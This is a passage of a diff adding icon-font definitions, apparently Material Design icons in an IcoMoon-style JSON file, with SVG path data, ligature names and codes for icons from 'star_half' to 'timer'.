"setIdx": 2, + "setId": 2, + "iconIdx": 716 + }, + { + "icon": { + "paths": [ + "M512 658l160 96-42-182 142-124-188-16-72-172v398zM938 394l-232 202 70 300-264-160-264 160 70-300-232-202 306-26 120-282 120 282z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "star_half" + ], + "defaultCode": 59449, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "star_half", + "id": 717, + "order": 728, + "prevSize": 24, + "code": 59449, + "name": "star_half" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 717 + }, + { + "icon": { + "paths": [ + "M692 768l-48-206 160-138-210-18-82-192-82 194-210 16 160 138-48 206 180-108zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "stars" + ], + "defaultCode": 59600, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "stars", + "id": 718, + "order": 729, + "prevSize": 24, + "code": 59600, + "name": "stars" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 718 + }, + { + "icon": { + "paths": [ + "M810 298h-596v428h596v-428zM44 298c0-46 38-84 84-84h768c46 0 86 38 86 84v428c0 46-40 84-86 84h-768c-46 0-86-38-86-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "stay_primary_landscape" + ], + "defaultCode": 57557, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "stay_current_landscape, stay_primary_landscape", + "id": 719, + "order": 730, + "prevSize": 24, + "code": 57557, + "name": "stay_primary_landscape" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 719 + }, + { + "icon": { + "paths": [ + "M256 256h512v512h-512v-512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "stop" + ], + "defaultCode": 57415, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "stop", + "id": 720, + "order": 731, + "prevSize": 24, + "code": 57415, + "name": "stop2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 720 + }, + { + "icon": { + "paths": [ + "M298 640c40-56 90-88 156-104l-68-68c-50 48-74 108-88 172zM102 74l842 842-54 54-116-116h-774v-86h170c-48 0-84-38-84-84v-428c0-26 10-46 28-62l-66-66zM938 684c0 32-18 60-44 74l-236-236 68-64-172-158v90c-8 2-14 2-22 4l-224-222h546c46 0 84 36 84 84v428zM906 768h118v86h-34z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "stop_screen_share" + ], + "defaultCode": 57571, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "stop_screen_share", + "id": 721, + "order": 732, + "prevSize": 24, + "code": 57571, + "name": "stop_screen_share" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 721 + }, + { + "icon": { + "paths": [ + "M170 470v84h86v-84h-86zM86 598v-172h852v172h-852zM256 298v-84h-86v84h86zM86 170h852v172h-852v-172zM170 726v84h86v-84h-86zM86 854v-172h852v172h-852z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "storage" + ], + "defaultCode": 57819, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "storage", + "id": 722, + "order": 733, + "prevSize": 24, + "code": 57819, + "name": "storage" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 722 + }, + { + "icon": { + "paths": [ + "M512 768v-170h-256v170h256zM896 598h-42v256h-86v-256h-170v256h-428v-256h-42v-86l42-214h684l42 214v86zM854 170v86h-684v-86h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "store_mall_directory" + ], + "defaultCode": 58723, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "store, store_mall_directory", + "id": 723, + "order": 734, + "prevSize": 24, + "code": 58723, + "name": "store_mall_directory" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 723 + }, + { + "icon": { + "paths": [ + "M896 682v-340h-86v170h-84v-170h-86v170h-86v-170h-84v170h-86v-170h-86v170h-84v-170h-86v340h768zM896 256c46 0 86 40 86 86v340c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-340c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "straighten" + ], + "defaultCode": 58396, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "straighten", + "id": 724, + "order": 735, + "prevSize": 24, + "code": 58396, + "name": "straighten" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 724 + }, + { + "icon": { + "paths": [ + "M490 256c0 76 32 146 82 196l-418 418c-16-16-26-36-26-60v-596c0-46 40-86 86-86h308c-20 38-32 82-32 128zM554 256c0-118 96-214 214-214s214 96 214 214-96 214-214 214-214-96-214-214zM536 612c64-48 146-78 232-78 44 0 88 8 128 22v254c0 46-40 86-86 86h-298v-234c0-20 10-38 24-50z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "streetview" + ], + "defaultCode": 58734, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "streetview", + "id": 725, + "order": 736, + "prevSize": 24, + "code": 58734, + "name": "streetview" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 725 + }, + { + "icon": { + "paths": [ + "M400 560c0 76.243 48.309 108 124 108 52.313 0 98-21.34 98-72 0-47.832-25.37-58.685-60-76-6-2-16-6-24-8h-410v-86h768v86h-166c2 4 6 10 8 14 8 20 14 44 14 70 0 92.509-60.376 138.965-134 160-28 8-58 12-92 12-20 0-42-2-62-6-43.831-8.766-81.207-20.905-112-44-45.673-34.254-78-79.826-78-158h126zM622 320c0-61.554-39.204-90-102-90-45.146 0-79.257 14.514-94 44-4 8-6 18-6 28 0 20 12 38 32 52 16 10 32 20 60 30h-196c-2-4-6-6-8-10-12-20-16-44-16-72 0-57.483 29.861-98.689 64-126 41.082-28.758 95.625-48 166-48 70.131 0 128.265 20.039 166 54 35.121 31.608 62 75.894 62 138h-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "strikethrough_s" + ], + "defaultCode": 57943, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "strikethrough_s", + "id": 726, + "order": 737, + "prevSize": 24, + "code": 57943, + "name": "strikethrough_s" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 726 + }, + { + "icon": { + "paths": [ + "M250 842v-270l148 356h-62c-46 0-86-40-86-86zM336 374c24 0 42-20 42-44s-18-42-42-42-42 18-42 42 18 44 42 44zM940 680c18 44-2 94-46 112l-314 130c-10 4-22 6-34 6-34 0-64-20-78-52l-212-512c-4-12-6-22-6-34 0-32 20-62 52-76l316-130c12-4 22-6 34-6 32 0 62 20 76 52zM108 838c-44-18-64-66-46-110l104-250v384z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "style" + ], + "defaultCode": 58397, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "style", + "id": 727, + "order": 738, + "prevSize": 24, + "code": 58397, + "name": "style" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 727 + }, + { + "icon": { + "paths": [ + "M470 384l60 60-154 154h392v-428h86v512h-478l154 154-60 60-256-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "subdirectory_arrow_left" + ], + "defaultCode": 58841, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "subdirectory_arrow_left", + "id": 728, + "order": 739, + "prevSize": 24, + "code": 58841, + "name": "subdirectory_arrow_left" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 728 + }, + { + "icon": { + "paths": [ + "M810 640l-256 256-60-60 154-154h-478v-512h86v428h392l-154-154 60-60z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "subdirectory_arrow_right" + ], + "defaultCode": 58842, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "subdirectory_arrow_right", + "id": 729, + "order": 740, + "prevSize": 24, + "code": 58842, + "name": "subdirectory_arrow_right" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 729 + }, + { + "icon": { + "paths": [ + "M170 214h684v84h-684v-84zM170 640v-86h684v86h-684zM854 384v86h-684v-86h684zM598 726v84h-428v-84h428z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "subject" + ], + "defaultCode": 59602, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "subject", + "id": 730, + "order": 741, + "prevSize": 24, + "code": 59602, + "name": "subject" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 730 + }, + { + "icon": { + "paths": [ + "M682 682l-256-138v278zM938 512v342c0 46-38 84-84 84h-684c-46 0-84-38-84-84v-342c0-46 38-86 84-86h684c46 0 84 40 84 86zM768 86v84h-512v-84h512zM854 342h-684v-86h684v86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "subscriptions" + ], + "defaultCode": 57444, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "subscriptions", + "id": 731, + "order": 742, + "prevSize": 24, + "code": 57444, + "name": "subscriptions" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 731 + }, + { + "icon": { + "paths": [ + "M854 598v-86h-428v86h428zM854 768v-86h-172v86h172zM598 768v-86h-428v86h428zM170 512v86h172v-86h-172zM854 170c46 0 84 40 84 86v512c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "subtitles" + ], + "defaultCode": 57416, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "subtitles", + "id": 732, + "order": 743, + "prevSize": 24, + "code": 57416, + "name": "subtitles" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 732 + }, + { + "icon": { + "paths": [ + "M768 678v-294c0-112-114-128-256-128-128 0-256 16-256 128v294c0 62 50 112 112 112l-48 48v16h72l64-64h120l64 64h64v-16l-48-48c62 0 112-50 112-112zM760 120c114 44 178 138 178 258v560h-852v-560c0-120 64-214 178-258 76-30 168-34 248-34s172 4 248 34zM300 384h426v214h-426v-214zM320 682c0-24 18-42 42-42s44 18 44 42-20 44-44 44-42-20-42-44zM618 682c0-24 20-42 44-42s42 18 42 42-18 44-42 44-44-20-44-44z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "subway" + ], + "defaultCode": 58735, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "subway", + "id": 733, + "order": 744, + "prevSize": 24, + "code": 58735, + "name": "subway2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 733 + }, + { + "icon": { + "paths": [ + "M384 554c28 0 64 4 102 12-88 48-102 112-102 148v96h-298v-106c0-100 198-150 298-150zM704 598c78 0 234 38 234 116v96h-468v-96c0-78 156-116 234-116zM384 470c-70 0-128-58-128-128s58-128 128-128 128 58 128 128-58 128-128 128zM704 512c-58 0-106-48-106-106s48-108 106-108 106 50 106 108-48 106-106 106z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "supervisor_account" + ], + "defaultCode": 59603, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "supervisor_account", + "id": 734, + "order": 745, + "prevSize": 24, + "code": 59603, + "name": "supervisor_account" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 734 + }, + { + "icon": { + "paths": [ + "M512 426c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM754 754c66-66 100-154 100-242s-34-176-100-242l-62 62c50 50 76 114 76 180s-24 132-74 182zM512 682c94 0 170-76 170-170s-76-170-170-170-170 76-170 170 76 170 170 170zM332 692c-50-50-76-114-76-180s24-132 74-182l-60-60c-66 66-100 154-100 242s34 176 100 242zM854 170c46 0 84 40 84 86v512c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "surround_sound" + ], + "defaultCode": 57417, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "surround_sound", + "id": 735, + "order": 746, + "prevSize": 24, + "code": 57417, + "name": "surround_sound" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 735 + }, + { + "icon": { + "paths": [ + "M768 170l170 172h-128v298c0 94-76 170-170 170s-170-76-170-170v-298c0-46-40-86-86-86s-86 40-86 86v298h128l-170 170-170-170h128v-298c0-94 76-172 170-172s170 78 170 172v298c0 46 40 86 86 86s86-40 86-86v-298h-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "swap_calls" + ], + "defaultCode": 57559, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "swap_calls", + "id": 736, + "order": 747, + "prevSize": 24, + "code": 57559, + "name": "swap_calls" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 736 + }, + { + "icon": { + "paths": [ + "M896 384l-170 170v-128h-300v-84h300v-128zM298 470v128h300v84h-300v128l-170-170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "swap_horiz" + ], + "defaultCode": 59604, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "swap_horiz", + "id": 737, + "order": 748, + "prevSize": 24, + "code": 59604, + "name": "swap_horiz" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 737 + }, + { + "icon": { + "paths": [ + "M384 128l170 170h-128v300h-84v-300h-128zM682 726h128l-170 170-170-170h128v-300h84v300z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "swap_vert" + ], + "defaultCode": 59605, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "swap_vert", + "id": 738, + "order": 749, + "prevSize": 24, + "code": 59605, + "name": "swap_vert" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 738 + }, + { + "icon": { + "paths": [ + "M746 640h-106v-170h-86v170h-106l150 150zM278 384h106v170h86v-170h106l-150-150zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "swap_vertical_circle" + ], + "defaultCode": 59606, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "swap_vertical_circle", + "id": 739, + "order": 750, + "prevSize": 24, + "code": 59606, + "name": "swap_vertical_circle" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 739 + }, + { + "icon": { + "paths": [ + "M640 662l150-150-150-150v108h-256v-108l-150 150 150 150v-108h256v108zM854 170c46 0 84 40 84 86v512c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h136l78-84h256l78 84h136z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "switch_camera" + ], + "defaultCode": 58398, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "switch_camera", + "id": 740, + "order": 751, + "prevSize": 24, + "code": 58398, + "name": "switch_camera" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 740 + }, + { + "icon": { + "paths": [ + "M554 662l150-150-150-150v108h-256v-108l-148 150 148 150v-108h256v108zM768 406l170-172v556l-170-172v150c0 24-18 42-42 42h-598c-24 0-42-18-42-42v-512c0-24 18-42 42-42h598c24 0 42 18 42 42v150z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "switch_video" + ], + "defaultCode": 58399, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "switch_video", + "id": 741, + "order": 752, + "prevSize": 24, + "code": 58399, + "name": "switch_video" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 741 + }, + { + "icon": { + "paths": [ + "M854 170l-102 102c62 62 102 146 102 240 0 66-20 128-52 180l-64-62c18-36 30-76 30-118 0-70-30-134-76-180l-94 94v-256h256zM122 230l54-54 670 672-54 54-100-100c-30 18-62 32-96 40v-88c12-4 24-10 34-16l-344-344c-18 36-30 76-30 118 0 70 30 134 76 180l94-94v256h-256l102-102c-62-62-102-146-102-240 0-66 20-128 52-180zM426 270c-12 4-22 10-32 16l-62-64c30-18 60-32 94-40v88z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sync_disabled" + ], + "defaultCode": 58920, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "sync_disabled", + "id": 742, + "order": 753, + "prevSize": 24, + "code": 58920, + "name": "sync_disabled" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 742 + }, + { + "icon": { + "paths": [ + "M470 554v-256h84v256h-84zM896 170l-100 102c62 62 100 146 100 240 0 160-108 292-256 330v-88c100-34 170-130 170-242 0-70-28-134-74-180l-96 94v-256h256zM470 726v-86h84v86h-84zM128 512c0-160 108-292 256-330v88c-100 34-170 130-170 242 0 70 28 134 74 180l96-94v256h-256l100-102c-62-62-100-146-100-240z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sync_problem" + ], + "defaultCode": 58921, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "sync_problem", + "id": 743, + "order": 754, + "prevSize": 24, + "code": 58921, + "name": "sync_problem" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 743 + }, + { + "icon": { + "paths": [ + "M682 554l-170 172-170-172h128v-212h84v212h128zM726 810v-596h-428v596h428zM726 44c46 0 84 38 84 84v768c0 46-38 86-84 86h-428c-46 0-84-40-84-86v-768c0-46 38-86 84-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "system_update" + ], + "defaultCode": 58922, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "system_update", + "id": 744, + "order": 755, + "prevSize": 24, + "code": 58922, + "name": "system_update" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 744 + }, + { + "icon": { + "paths": [ + "M896 150c46 0 86 38 86 84v598c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-598c0-46 40-84 86-84h256v84h-256v598h768v-598h-256v-84h256zM512 704l-170-170h128v-384h84v384h128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "system_update_alt" + ], + "defaultCode": 59607, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "system_update_alt", + "id": 745, + "order": 756, + "prevSize": 24, + "code": 59607, + "name": "system_update_alt" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 745 + }, + { + "icon": { + "paths": [ + "M896 810v-426h-342v-170h-426v596h768zM896 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-596c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tab" + ], + "defaultCode": 59608, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "tab", + "id": 746, + "order": 757, + "prevSize": 24, + "code": 59608, + "name": "tab" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 746 + }, + { + "icon": { + "paths": [ + "M726 896v-86h84v86h-84zM554 896v-86h86v86h-86zM896 554v-84h86v84h-86zM896 896v-86h86c0 46-40 86-86 86zM214 214v-86h84v86h-84zM214 896v-86h84v86h-84zM384 214v-86h86v86h-86zM896 726v-86h86v86h-86zM896 128c46 0 86 40 86 86v170h-428v-256h342zM128 896c-46 0-86-40-86-86h86v86zM42 726v-86h86v86h-86zM384 896v-86h86v86h-86zM42 214c0-46 40-86 86-86v86h-86zM42 554v-84h86v84h-86zM42 384v-86h86v86h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tab_unselected" + ], + "defaultCode": 59609, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "tab_unselected", + "id": 747, + "order": 758, + "prevSize": 24, + "code": 59609, + "name": "tab_unselected" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 747 + }, + { + "icon": { + "paths": [ + "M810 768v-512h-596v512h596zM896 170c46 0 86 40 86 86l-2 512c0 46-38 86-84 86h-768c-46 0-86-40-86-86v-512c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tablet" + ], + "defaultCode": 58159, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "tablet", + "id": 748, + "order": 759, + "prevSize": 24, + "code": 58159, + "name": "tablet2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 748 + }, + { + "icon": { + "paths": [ + "M822 810v-682h-620v682h620zM598 938v-42h-172v42h172zM768 0c70 0 128 58 128 128v768c0 70-58 128-128 128h-512c-70 0-128-58-128-128v-768c0-70 58-128 128-128h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tablet_android" + ], + "defaultCode": 58160, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "tablet_android", + "id": 749, + "order": 760, + "prevSize": 24, + "code": 58160, + "name": "tablet_android" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 749 + }, + { + "icon": { + "paths": [ + "M810 810v-682h-640v682h640zM490 982c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM790 0c58 0 106 48 106 106v812c0 58-48 106-106 106h-598c-58 0-106-48-106-106v-812c0-58 48-106 106-106h598z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tablet_mac" + ], + "defaultCode": 58161, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "tablet_mac", + "id": 750, + "order": 761, + "prevSize": 24, + "code": 58161, + "name": "tablet_mac" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 750 + }, + { + "icon": { + "paths": [ + "M726 44c46 0 84 38 84 84v726c0 46-38 84-84 84h-90c-4-60-18-116-40-170h130v-554h-428v256c-28-12-54-22-84-28v-314c0-46 38-86 84-86zM86 512c260 0 468 210 468 470h-84c0-212-172-384-384-384v-86zM86 854c70 0 128 58 128 128h-128v-128zM86 682c166 0 298 134 298 300h-86c0-118-94-214-212-214v-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tap_and_play" + ], + "defaultCode": 58923, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "tap_and_play", + "id": 751, + "order": 762, + "prevSize": 24, + "code": 58923, + "name": "tap_and_play" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 751 + }, + { + "icon": { + "paths": [ + "M918 384v128h-128v298h-128v-298h-128v-128h384zM106 170h556v128h-214v512h-128v-512h-214v-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "text_fields" + ], + "defaultCode": 57954, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "text_fields", + "id": 752, + "order": 763, + "prevSize": 24, + "code": 57954, + "name": "text_fields" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 752 + }, + { + "icon": { + "paths": [ + "M512 256l-80 214h160zM406 546l-40 94h-88l202-470h64l202 470h-88l-40-94h-212zM214 726h596v84h-596v-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "text_format" + ], + "defaultCode": 57701, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "text_format", + "id": 753, + "order": 764, + "prevSize": 24, + "code": 57701, + "name": "text_format" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 753 + }, + { + "icon": { + "paths": [ + "M396 896l500-500v122l-378 378h-122zM896 810c0 45.948-40.071 86-86 86h-84l170-170v84zM214 128h84l-170 170v-84c0-46 40-86 86-86zM506 128h122l-500 500v-122zM832 132c30 8 54 30 62 60l-702 700c-29.35-8.386-51.612-30.641-60-60z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "texture" + ], + "defaultCode": 58401, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "texture", + "id": 754, + "order": 765, + "prevSize": 24, + "code": 58401, + "name": "texture" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 754 + }, + { + "icon": { + "paths": [ + "M810 128h172v512h-172v-512zM640 128c46 0 86 40 86 86v426c0 24-10 44-26 60l-280 282-46-46c-12-12-18-26-18-44v-14l42-196h-270c-46 0-86-38-86-84l2-4h-2v-82c0-12 2-22 6-32l130-300c12-30 42-52 78-52h384z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "thumb_down" + ], + "defaultCode": 59611, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "thumb_down", + "id": 755, + "order": 766, + "prevSize": 24, + "code": 59611, + "name": "thumb_down" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 755 + }, + { + "icon": { + "paths": [ + "M982 426l-2 4h2v82c0 12-2 22-6 32l-130 300c-12 30-42 52-78 52h-384c-46 0-86-40-86-86v-426c0-24 10-44 26-60l280-282 46 46c12 12 18 26 18 44v14l-42 196h270c46 0 86 38 86 84zM42 896v-512h172v512h-172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "thumb_up" + ], + "defaultCode": 59612, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "thumb_up", + "id": 756, + "order": 767, + "prevSize": 24, + "code": 59612, + "name": "thumb_up" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 756 + }, + { + "icon": { + "paths": [ + "M960 426c36 0 64 28 64 64v278c0 18-6 34-18 46l-212 210-34-34c-8-8-14-20-14-34 9.903-48.764 20.016-97.317 30-146h-222c-24 0-42-18-42-42v-54c0-8 2-14 4-22l98-226c10-22 32-40 58-40h288zM512 256v54c0 8-2 14-4 22l-98 226c-10 22-32 40-58 40h-288c-36 0-64-28-64-64v-278c0-18 6-34 18-46l212-210 34 34c8 8 14 20 14 34-9.903 48.764-20.016 97.317-30 146h222c24 0 42 18 42 42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "thumbs_up_down" + ], + "defaultCode": 59613, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "thumbs_up_down", + "id": 757, + "order": 768, + "prevSize": 24, + "code": 59613, + "name": "thumbs_up_down" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 757 + }, + { + "icon": { + "paths": [ + "M512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM692 332c100 100 102 260 2 360s-262 100-362 0l180-180v-256c66 0 130 26 180 76z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "timelapse" + ], + "defaultCode": 58402, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "timelapse", + "id": 758, + "order": 769, + "prevSize": 24, + "code": 58402, + "name": "timelapse" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 758 + }, + { + "icon": { + "paths": [ + "M982 342c0 46-40 84-86 84-8 0-16 0-22-2l-152 152c2 6 4 14 4 22 0 46-40 84-86 84s-86-38-86-84c0-8 2-16 4-22l-110-110c-6 2-14 4-22 4s-16-2-22-4l-194 194c2 6 4 14 4 22 0 46-40 86-86 86s-86-40-86-86 40-84 86-84c8 0 16 0 22 2l194-194c-2-6-2-14-2-22 0-46 38-86 84-86s86 40 86 86c0 8 0 16-2 22l108 108c6-2 14-2 22-2s16 0 22 2l152-150c-2-6-4-14-4-22 0-46 40-86 86-86s86 40 86 86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "timeline" + ], + "defaultCode": 59682, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "timeline", + "id": 759, + "order": 770, + "prevSize": 24, + "code": 59682, + "name": "timeline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 759 + }, + { + "icon": { + "paths": [ + "M512 854c166 0 298-134 298-300s-132-298-298-298-298 132-298 298 132 300 298 300zM812 316c52 66 84 148 84 238 0 212-172 384-384 384s-384-172-384-384 172-384 384-384c90 0 174 34 240 86l60-62c22 18 42 38 60 60zM470 598v-256h84v256h-84zM640 42v86h-256v-86h256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "timer" + ], + "defaultCode": 58405, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "timer", + "id": 760, + "order": 771, + "prevSize": 24, + "code": 58405, + "name": "timer" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 760 + }, + { + "icon": { + "paths": [ + "M550 564v-108c0-46.336-4.565-80.274-20-106-10.651-21.301-30.408-30-60-30-12 0-26 2-36 6-38.752 23.251-46 67.987-46 132v106c0 26 0 48 4 66s12 30 18 42c11.183 22.366 28.34 32 60 32 30.847 0 49.232-10.465 60-32 6-12 12-24 16-42s4-40 4-66zM304 470c0-128.235 41.373-218 166-218 51.866 0 95.697 16.753 120 48 30.427 39.121 44 97.117 44 170v82c0 127.815-39.287 220-164 220-124.183 0-166-92.158-166-220v-82zM872 446c-32.637 0-60 13.357-60 46 0 29.093 15.625 31.050 38 40 10 4 24 8 38 10 22 4 38 10 56 16s32 16 44 24 20 20 26 32 10 24 10 42c0 61.841-40.186 88.062-88 104-18 6-38 8-60 8-71.904 0-126.918-28.808-148-78-6-14-10-28-10-44h82c0 42.578 34.153 60 76 60 37.394 0 66-11.786 66-46 